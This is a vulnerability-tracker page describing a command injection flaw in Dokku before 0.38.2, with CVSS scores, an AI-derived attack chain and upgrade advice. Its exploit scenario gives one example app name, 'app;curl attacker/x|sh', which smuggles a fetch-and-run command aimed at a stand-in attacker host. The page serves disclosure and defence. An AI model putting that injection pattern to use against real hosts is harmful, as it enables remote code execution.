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Dokku EUVDEUVD-2026-39801

| CVE-2026-45408 CRITICAL
OS Command Injection (CWE-78)
2026-06-26 GitHub_M
9.0
CVSS 3.1 · Vendor: GitHub_M
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Severity by source

Vendor (GitHub_M) PRIMARY
9.0 CRITICAL
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
vuln.today AI
9.9 CRITICAL

Authenticated push user is required (PR:L), attacker self-triggers so UI:N, scope changes (S:C) as code runs as the privileged dokku user with full RCE impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch available
Jun 26, 2026 - 18:02 EUVD
Source Code Evidence Fetched
Jun 26, 2026 - 17:24 vuln.today
Analysis Generated
Jun 26, 2026 - 17:24 vuln.today
CVE Published
Jun 26, 2026 - 16:19 cve.org
CRITICAL 9.0

DescriptionCVE.org

Dokku is a docker-powered PaaS. Prior to 0.38.2, the app name validation regex (^[a-z0-9][^/:_A-Z]*$) permits shell metacharacters. When an authenticated user pushes to a git remote with a crafted app name, the name is embedded unquoted into a bash pre-receive hook script via an unquoted heredoc (<<EOF instead of <<'EOF') in fn-git-create-hook() at plugins/git/internal-functions:378. On git push, bash interprets the semicolon as a command separator, executing arbitrary commands as the dokku user. This vulnerability is fixed in 0.38.2.

AnalysisAI

OS command injection in Dokku (the Docker-powered self-hosted PaaS) prior to version 0.38.2 allows an authenticated user with git push access to execute arbitrary shell commands as the privileged dokku user. The flaw stems from a permissive app-name validation regex that accepts shell metacharacters, which are then interpolated unquoted into a generated bash pre-receive hook; a semicolon in the app name terminates the intended command and runs attacker-supplied commands on git push. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate with Dokku push access
Delivery
Create app name embedding shell metacharacters
Exploit
Push to git remote
Execution
Dokku writes name into unquoted pre-receive heredoc
Persist
Bash parses semicolon as command separator
Impact
Execute arbitrary commands as dokku user

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated account with permission to push to a Dokku git remote and influence the app name used for hook generation (per CVSS PR:L). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H, base 9.0) reflects a serious issue: network-reachable, low complexity, full confidentiality/integrity/availability impact, and a scope change because code runs as the dokku user rather than within the pushing user's app boundary. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated tenant on a shared Dokku host creates or pushes to an app whose name contains a shell metacharacter, e.g. a name like 'app;curl attacker/x|sh'. …
Remediation Vendor-released patch: 0.38.2 - upgrade Dokku to 0.38.2 or later, which replaces the negated-character-class regex with strict allow-list app-name validation and routes shell-layer checks through the hardened Go validator. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify all Dokku instances in production and development; restrict git push access to essential trusted personnel only. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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EUVD-2026-39801 vulnerability details – vuln.today

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